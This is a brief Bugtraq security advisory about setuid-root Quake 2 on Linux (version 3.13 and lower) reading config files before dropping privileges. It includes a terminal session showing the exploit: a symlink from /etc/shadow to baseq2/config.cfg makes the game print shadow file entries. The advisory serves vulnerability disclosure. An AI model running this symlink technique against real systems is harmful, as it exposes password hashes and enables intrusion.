Bugtraq: Quake 2 Linux 3.13 (and lower) allow users to read arbitrary files

[kevingeo () CRUZIO COM (kevingeo () CRUZIO COM)]

Vulnerable:
Everyone who followed the installation instructions and made Quake2 setuid
root.

Exploit:
Quake2 reads its conf files (and .pak files) before giving up root,
and it doesn't check the permissions before hand.

nop () chrome:~> id
uid=501(nop) gid=100(users) groups=100(users)
nop () chrome:~> mkdir baseq2
nop () chrome:~> ln -s /etc/shadow baseq2/config.cfg
nop () chrome:~> ls -l /usr/games/quake/quake2
-rws--x--x   1 root     root       303444 Feb 24 19:07
/usr/games/quake/quake2
nop () chrome:~> /usr/games/quake/quake2
couldn't exec default.cfg
execing config.cfg
Unknown command "root:[snip]:10137:0:99999:7:::"
Unknown command "bin:*:9977:0:99999:7:::"
Unknown command "daemon:*:9977:0:99999:7:::"
Unknown command "adm:*:9977:0:99999:7:::"
Unknown command "lp:*:9977:0:99999:7:::"
[etc]